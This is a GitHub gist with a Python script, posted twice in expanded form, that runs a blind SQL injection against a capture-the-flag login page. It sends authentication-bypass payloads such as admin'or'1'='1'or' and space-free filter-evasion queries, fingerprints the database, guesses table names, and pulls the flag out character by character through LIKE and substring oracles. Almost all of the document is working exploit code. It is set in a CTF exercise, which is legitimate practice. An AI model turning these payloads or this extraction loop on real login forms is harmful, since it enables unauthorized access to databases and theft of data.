Skip to content

Instantly share code, notes, and snippets.

@RajChowdhury240
Created July 18, 2025 18:51
Show Gist options
  • Save RajChowdhury240/7118f846c7117b4692e015d6b679a45d to your computer and use it in GitHub Desktop.
Save RajChowdhury240/7118f846c7117b4692e015d6b679a45d to your computer and use it in GitHub Desktop.
import requests
import string
import time
# Target URL
BASE_URL = "https://filteredout.ctf.yogosha.com/"
# Common database names to try first
COMMON_DB_NAMES = [
'ctf', 'challenge', 'test', 'db', 'main', 'mysql', 'users', 'app',
'web', 'site', 'data', 'admin', 'root', 'flag', 'flags', 'database',
'temp', 'demo', 'sample', 'public', 'default', 'local', 'dev'
]
def make_request(user_param, pass_param="a"):
"""Make a request to the target URL"""
params = {
'user': user_param,
'pass': pass_param
}
try:
response = requests.get(BASE_URL, params=params, timeout=10)
return response.text
except requests.RequestException as e:
print(f"Request failed: {e}")
return None
def test_basic_injection():
"""Test if basic injection works"""
print("[+] Testing basic injection...")
payload = "admin'or'1'='1'or'"
response = make_request(payload)
if response and "welcome" in response:
print("[+] Basic injection works!")
return True
else:
print("[-] Basic injection failed")
return False
def test_database_function():
"""Test if database() function is accessible"""
print("[+] Testing database() function...")
payload = "admin'or(database())='test'or'"
response = make_request(payload)
if response and "forbidden" in response:
print("[-] database() function is blocked")
return False
else:
print("[+] database() function might work")
return True
def test_alternative_methods():
"""Test alternative methods to access database info"""
print("[+] Testing alternative database extraction methods...")
# Test different ways to access database info
methods = [
("@@database", "admin'or(@@database)='test'or'"),
("schema()", "admin'or(schema())='test'or'"),
("current_database()", "admin'or(current_database())='test'or'"),
("user()", "admin'or(user())like('%@%')or'"),
("version()", "admin'or(version())like('%')or'"),
("@@version", "admin'or(@@version)like('%')or'"),
("@@hostname", "admin'or(@@hostname)like('%')or'"),
("@@port", "admin'or(@@port)>0or'"),
]
working_methods = []
for method_name, payload in methods:
print(f"[*] Testing: {method_name}")
response = make_request(payload)
if response and "forbidden" not in response:
if "welcome" in response:
print(f"[+] {method_name} works and condition is true")
working_methods.append((method_name, payload, True))
else:
print(f"[+] {method_name} accessible but condition false")
working_methods.append((method_name, payload, False))
else:
print(f"[-] {method_name} blocked")
time.sleep(0.3)
return working_methods
def try_common_db_names():
"""Try common database names"""
print("[+] Trying common database names...")
for db_name in COMMON_DB_NAMES:
print(f"[*] Trying: {db_name}")
# Try with database() function
payload = f"admin'or(database())='{db_name}'or'"
response = make_request(payload)
if response and "welcome" in response:
print(f"[+] Found database name: {db_name}")
return db_name
# Try with @@database
payload = f"admin'or(@@database)='{db_name}'or'"
response = make_request(payload)
if response and "welcome" in response:
print(f"[+] Found database name: {db_name}")
return db_name
time.sleep(0.5) # Be nice to the server
print("[-] No common database names found")
return None
def try_table_names():
"""Try to extract information from table names"""
print("[+] Trying to access table information...")
# Common table names
table_names = [
'users', 'user', 'admin', 'accounts', 'members', 'login',
'auth', 'authentication', 'profile', 'info', 'data', 'flag',
'flags', 'secret', 'config', 'settings', 'test'
]
found_tables = []
for table in table_names:
# Try to see if table exists
payload = f"admin'or(select(1)from({table}))or'"
response = make_request(payload)
if response and "welcome" in response:
print(f"[+] Found table: {table}")
found_tables.append(table)
elif response and "forbidden" not in response:
print(f"[*] Table {table} might exist but query failed")
time.sleep(0.3)
return found_tables
def extract_with_alternative_methods(working_methods):
"""Extract database name using alternative methods"""
print("[+] Extracting database name with alternative methods...")
for method_name, base_payload, works in working_methods:
if not works:
continue
print(f"[+] Using method: {method_name}")
# Try common names first
for db_name in COMMON_DB_NAMES:
if method_name == "@@database":
payload = f"admin'or(@@database)='{db_name}'or'"
elif method_name == "schema()":
payload = f"admin'or(schema())='{db_name}'or'"
elif method_name == "current_database()":
payload = f"admin'or(current_database())='{db_name}'or'"
else:
continue
response = make_request(payload)
if response and "welcome" in response:
print(f"[+] Found database name using {method_name}: {db_name}")
return db_name
time.sleep(0.3)
return None
def extract_db_name_char_by_char():
"""Extract database name character by character"""
print("[+] Extracting database name character by character...")
db_name = ""
position = 1
while position <= 20: # Assume max 20 characters
found_char = False
# Try all printable characters
for char in string.ascii_letters + string.digits + "_-":
payload = f"admin'or(database())like('{db_name + char}%')or'"
response = make_request(payload)
if response and "welcome" in response:
db_name += char
print(f"[+] Found character: {char} (position {position})")
print(f"[+] Current database name: {db_name}")
found_char = True
break
time.sleep(0.1) # Small delay
if not found_char:
print(f"[+] Database name extraction complete: {db_name}")
break
position += 1
# Check if we've found the complete name
payload = f"admin'or(database())='{db_name}'or'"
response = make_request(payload)
if response and "welcome" in response:
print(f"[+] Confirmed complete database name: {db_name}")
break
return db_name
def main():
print("=== SQL Injection Database Name Extractor ===")
print(f"Target: {BASE_URL}")
print()
# Test basic injection
if not test_basic_injection():
print("[-] Exiting: Basic injection failed")
return
# Test database() function
db_function_works = test_database_function()
# Test alternative methods
working_methods = test_alternative_methods()
# Try common database names first
db_name = try_common_db_names()
if db_name:
print(f"[+] SUCCESS! Database name found: {db_name}")
return
# Try alternative methods if we found any
if working_methods:
db_name = extract_with_alternative_methods(working_methods)
if db_name:
print(f"[+] SUCCESS! Database name found: {db_name}")
return
# Try to find table names
print("[+] Attempting to find table information...")
tables = try_table_names()
if tables:
print(f"[+] Found tables: {tables}")
print("[+] This might give clues about the database structure")
# If common names failed, try character-by-character extraction
if db_function_works:
print("[+] Attempting character-by-character extraction...")
db_name = extract_db_name_char_by_char()
if db_name:
print(f"[+] SUCCESS! Database name extracted: {db_name}")
else:
print("[-] Failed to extract database name")
else:
print("[-] Cannot extract database name - function blocked")
# Final attempt with broader character extraction
print("[+] Final attempt: Trying to extract any useful information...")
# Try to get some information about the environment
info_payloads = [
("Test if we can access any functions", "admin'or(1)=(1)or'"),
("Test basic math", "admin'or(1+1)=(2)or'"),
("Test string operations", "admin'or('a')=('a')or'"),
]
for desc, payload in info_payloads:
response = make_request(payload)
if response and "welcome" in response:
print(f"[+] {desc}: SUCCESS")
else:
print(f"[-] {desc}: FAILED")
time.sleep(0.2)
if __name__ == "__main__":
main()
@RajChowdhury240
Copy link
Author

import requests
import string
import time

# Target URL
BASE_URL = "https://filteredout.ctf.yogosha.com/"

# Common database names to try first
COMMON_DB_NAMES = [
    'ctf', 'challenge', 'test', 'db', 'main', 'mysql', 'users', 'app',
    'web', 'site', 'data', 'admin', 'root', 'flag', 'flags', 'database',
    'temp', 'demo', 'sample', 'public', 'default', 'local', 'dev'
]

def make_request(user_param, pass_param="a"):
    """Make a request to the target URL"""
    params = {
        'user': user_param,
        'pass': pass_param
    }
    
    try:
        response = requests.get(BASE_URL, params=params, timeout=10)
        return response.text
    except requests.RequestException as e:
        print(f"Request failed: {e}")
        return None

def test_basic_injection():
    """Test if basic injection works"""
    print("[+] Testing basic injection...")
    payload = "admin'or'1'='1'or'"
    response = make_request(payload)
    
    if response and "welcome" in response:
        print("[+] Basic injection works!")
        return True
    else:
        print("[-] Basic injection failed")
        return False

def test_database_function():
    """Test if database() function is accessible"""
    print("[+] Testing database() function...")
    payload = "admin'or(database())='test'or'"
    response = make_request(payload)
    
    if response and "forbidden" in response:
        print("[-] database() function is blocked")
        return False
    else:
        print("[+] database() function might work")
        return True

def test_alternative_methods():
    """Test alternative methods to access database info"""
    print("[+] Testing alternative database extraction methods...")
    
    # Test different ways to access database info
    methods = [
        ("@@database", "admin'or(@@database)='test'or'"),
        ("schema()", "admin'or(schema())='test'or'"),
        ("current_database()", "admin'or(current_database())='test'or'"),
        ("user()", "admin'or(user())like('%@%')or'"),
        ("version()", "admin'or(version())like('%')or'"),
        ("@@version", "admin'or(@@version)like('%')or'"),
        ("@@hostname", "admin'or(@@hostname)like('%')or'"),
        ("@@port", "admin'or(@@port)>0or'"),
    ]
    
    working_methods = []
    
    for method_name, payload in methods:
        print(f"[*] Testing: {method_name}")
        response = make_request(payload)
        
        if response and "forbidden" not in response:
            if "welcome" in response:
                print(f"[+] {method_name} works and condition is true")
                working_methods.append((method_name, payload, True))
            else:
                print(f"[+] {method_name} accessible but condition false")
                working_methods.append((method_name, payload, False))
        else:
            print(f"[-] {method_name} blocked")
        
        time.sleep(0.3)
    
    return working_methods

def try_common_db_names():
    """Try common database names"""
    print("[+] Trying common database names...")
    
    for db_name in COMMON_DB_NAMES:
        print(f"[*] Trying: {db_name}")
        
        # Try with database() function
        payload = f"admin'or(database())='{db_name}'or'"
        response = make_request(payload)
        
        if response and "welcome" in response:
            print(f"[+] Found database name: {db_name}")
            return db_name
        
        # Try with @@database
        payload = f"admin'or(@@database)='{db_name}'or'"
        response = make_request(payload)
        
        if response and "welcome" in response:
            print(f"[+] Found database name: {db_name}")
            return db_name
            
        time.sleep(0.5)  # Be nice to the server
    
    print("[-] No common database names found")
    return None

def try_table_names():
    """Try to extract information from table names"""
    print("[+] Trying to access table information...")
    
    # Common table names
    table_names = [
        'users', 'user', 'admin', 'accounts', 'members', 'login',
        'auth', 'authentication', 'profile', 'info', 'data', 'flag',
        'flags', 'secret', 'config', 'settings', 'test'
    ]
    
    found_tables = []
    
    for table in table_names:
        # Try to see if table exists
        payload = f"admin'or(select(1)from({table}))or'"
        response = make_request(payload)
        
        if response and "welcome" in response:
            print(f"[+] Found table: {table}")
            found_tables.append(table)
        elif response and "forbidden" not in response:
            print(f"[*] Table {table} might exist but query failed")
        
        time.sleep(0.3)
    
    return found_tables

def extract_with_alternative_methods(working_methods):
    """Extract database name using alternative methods"""
    print("[+] Extracting database name with alternative methods...")
    
    for method_name, base_payload, works in working_methods:
        if not works:
            continue
            
        print(f"[+] Using method: {method_name}")
        
        # Try common names first
        for db_name in COMMON_DB_NAMES:
            if method_name == "@@database":
                payload = f"admin'or(@@database)='{db_name}'or'"
            elif method_name == "schema()":
                payload = f"admin'or(schema())='{db_name}'or'"
            elif method_name == "current_database()":
                payload = f"admin'or(current_database())='{db_name}'or'"
            else:
                continue
                
            response = make_request(payload)
            
            if response and "welcome" in response:
                print(f"[+] Found database name using {method_name}: {db_name}")
                return db_name
            
            time.sleep(0.3)
    
    return None

def extract_flag_data():
    """Extract data from the flag table"""
    print("[+] Extracting data from flag table...")
    
    # Common flag column names
    flag_columns = [
        'flag', 'value', 'content', 'data', 'secret', 'password', 
        'key', 'token', 'code', 'answer', 'solution', 'text', 'name', 'id'
    ]
    
    # First, let's try to see if we can extract the flag directly
    print("[+] Trying to extract flag data...")
    
    # Try different approaches to extract flag
    methods = [
        # Direct selection methods
        ("Direct flag column", "admin'or(select(flag)from(flag))like('%')or'"),
        ("Direct value column", "admin'or(select(value)from(flag))like('%')or'"),
        ("Any text column", "admin'or(select(*)from(flag))like('%')or'"),
        
        # Try with UNION (might work if we're lucky)
        ("UNION select", "admin'union(select(flag)from(flag))or'"),
        ("UNION all", "admin'union(select(*)from(flag))or'"),
        
        # Try with different syntax
        ("Subquery", "admin'or(1)=(select(1)from(flag))or'"),
        ("Exists", "admin'or(exists(select(1)from(flag)))or'"),
    ]
    
    working_extractions = []
    
    for method_name, payload in methods:
        print(f"[*] Testing: {method_name}")
        response = make_request(payload)
        
        if response and "forbidden" not in response:
            if "welcome" in response:
                print(f"[+] {method_name} works!")
                working_extractions.append((method_name, payload))
            else:
                print(f"[*] {method_name} accessible but returned 'wrong'")
        else:
            print(f"[-] {method_name} blocked")
        
        time.sleep(0.3)
    
    return working_extractions

def extract_flag_char_by_char():
    """Extract flag character by character"""
    print("[+] Extracting flag character by character...")
    
    # Common flag column names to try
    columns = ['flag', 'value', 'content', 'data', 'secret']
    
    for column in columns:
        print(f"[+] Trying to extract from column: {column}")
        
        flag_value = ""
        position = 1
        
        while position <= 50:  # Assume max 50 characters for flag
            found_char = False
            
            # Try printable ASCII characters
            chars_to_try = string.ascii_letters + string.digits + "_{}-!@#$%^&*()+=[]{}|;:,.<>?"
            
            for char in chars_to_try:
                # Try different extraction methods
                payloads = [
                    f"admin'or(select({column})from(flag))like('{flag_value + char}%')or'",
                    f"admin'or(substring((select({column})from(flag)),{position},1))=('{char}')or'",
                    f"admin'or(mid((select({column})from(flag)),{position},1))=('{char}')or'",
                ]
                
                for payload in payloads:
                    response = make_request(payload)
                    
                    if response and "welcome" in response:
                        flag_value += char
                        print(f"[+] Found character: {char} (position {position})")
                        print(f"[+] Current flag: {flag_value}")
                        found_char = True
                        break
                        
                    time.sleep(0.1)
                
                if found_char:
                    break
            
            if not found_char:
                if flag_value:
                    print(f"[+] Flag extraction complete for column {column}: {flag_value}")
                    return flag_value
                else:
                    print(f"[-] No data found in column {column}")
                    break
                    
            position += 1
        
        if flag_value:
            print(f"[+] Flag found in column {column}: {flag_value}")
            return flag_value
    
    return None

def try_flag_extraction_methods():
    """Try various methods to extract flag data"""
    print("[+] Trying different flag extraction methods...")
    
    # Method 1: Try to get flag length first
    print("[+] Trying to determine flag length...")
    
    for length in range(1, 100):
        payload = f"admin'or(length((select(flag)from(flag))))=({length})or'"
        response = make_request(payload)
        
        if response and "welcome" in response:
            print(f"[+] Flag length is: {length}")
            break
        elif response and "forbidden" in response:
            print("[-] Length function blocked")
            break
            
        time.sleep(0.1)
    
    # Method 2: Try common flag formats
    print("[+] Trying common flag formats...")
    
    flag_prefixes = [
        'flag{', 'FLAG{', 'ctf{', 'CTF{', 'yogosha{', 'YOGOSHA{',
        'challenge{', 'CHALLENGE{', 'ycf{', 'YCF{', 'filteredout{'
    ]
    
    for prefix in flag_prefixes:
        payload = f"admin'or(select(flag)from(flag))like('{prefix}%')or'"
        response = make_request(payload)
        
        if response and "welcome" in response:
            print(f"[+] Flag starts with: {prefix}")
            # Now try to extract the rest
            return extract_flag_with_prefix(prefix)
        elif response and "forbidden" in response:
            print("[-] Like function blocked")
            break
            
        time.sleep(0.2)
    
    return None

def extract_flag_with_prefix(prefix):
    """Extract flag knowing the prefix"""
    print(f"[+] Extracting flag with known prefix: {prefix}")
    
    flag_value = prefix
    position = len(prefix) + 1
    
    while position <= 100:
        found_char = False
        
        # Try printable ASCII characters
        chars_to_try = string.ascii_letters + string.digits + "_{}-!@#$%^&*()+=[]{}|;:,.<>?"
        
        for char in chars_to_try:
            payload = f"admin'or(select(flag)from(flag))like('{flag_value + char}%')or'"
            response = make_request(payload)
            
            if response and "welcome" in response:
                flag_value += char
                print(f"[+] Found character: {char} (position {position})")
                print(f"[+] Current flag: {flag_value}")
                found_char = True
                break
                
            time.sleep(0.1)
        
        if not found_char:
            print(f"[+] Flag extraction complete: {flag_value}")
            return flag_value
            
        position += 1
    
    return flag_value

def main():
    print("=== SQL Injection Database Name Extractor ===")
    print(f"Target: {BASE_URL}")
    print()
    
    # Test basic injection
    if not test_basic_injection():
        print("[-] Exiting: Basic injection failed")
        return
    
    # Test database() function
    db_function_works = test_database_function()
    
    # Test alternative methods
    working_methods = test_alternative_methods()
    
    # Try common database names first
    db_name = try_common_db_names()
    
    if db_name:
        print(f"[+] SUCCESS! Database name found: {db_name}")
        return
    
    # Try alternative methods if we found any
    if working_methods:
        db_name = extract_with_alternative_methods(working_methods)
        if db_name:
            print(f"[+] SUCCESS! Database name found: {db_name}")
            return
    
    # Try to find table names
    print("[+] Attempting to find table information...")
    tables = try_table_names()
    
    if tables:
        print(f"[+] Found tables: {tables}")
        print("[+] This might give clues about the database structure")
        
        # If we found the flag table, try to extract the flag!
        if 'flag' in tables:
            print("\n" + "="*50)
            print("[+] FOUND FLAG TABLE! Attempting to extract flag...")
            print("="*50)
            
            # Try different flag extraction methods
            working_extractions = extract_flag_data()
            
            if working_extractions:
                print(f"[+] Found working extraction methods: {[m[0] for m in working_extractions]}")
            
            # Try to determine flag format and extract
            flag = try_flag_extraction_methods()
            
            if flag:
                print(f"\n[+] ๐ŸŽ‰ SUCCESS! FLAG FOUND: {flag}")
                return
            
            # Try character-by-character extraction
            print("[+] Attempting character-by-character flag extraction...")
            flag = extract_flag_char_by_char()
            
            if flag:
                print(f"\n[+] ๐ŸŽ‰ SUCCESS! FLAG EXTRACTED: {flag}")
                return
    
    # If we couldn't extract the flag, try database name extraction
    if db_function_works:
        print("[+] Attempting character-by-character database name extraction...")
        # Note: This function was removed, but we can add it back if needed
        print("[-] Database name extraction method not available")
    else:
        print("[-] Cannot extract database name - function blocked")
        
    # Final attempt with broader character extraction
    print("[+] Final attempt: Trying to extract any useful information...")
    
    # Try to get some information about the environment
    info_payloads = [
        ("Test if we can access any functions", "admin'or(1)=(1)or'"),
        ("Test basic math", "admin'or(1+1)=(2)or'"),
        ("Test string operations", "admin'or('a')=('a')or'"),
    ]
    
    for desc, payload in info_payloads:
        response = make_request(payload)
        if response and "welcome" in response:
            print(f"[+] {desc}: SUCCESS")
        else:
            print(f"[-] {desc}: FAILED")
        time.sleep(0.2)
    
    print("\n[+] Summary:")
    print(f"[+] Basic injection: Works")
    print(f"[+] Found tables: {tables if tables else 'None'}")
    print(f"[+] Working methods: {[m[0] for m in working_methods] if working_methods else 'None'}")
    
    if 'flag' in (tables or []):
        print("[!] FLAG TABLE FOUND - Try manual extraction if automated methods failed")
        print("[!] Suggested manual payloads:")
        print("    - admin'or(select(flag)from(flag))like('flag{%')or'")
        print("    - admin'or(select(flag)from(flag))like('ctf{%')or'")
        print("    - admin'or(select(flag)from(flag))like('yogosha{%')or'")

if __name__ == "__main__":
    main()
    ```

@RajChowdhury240
Copy link
Author

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment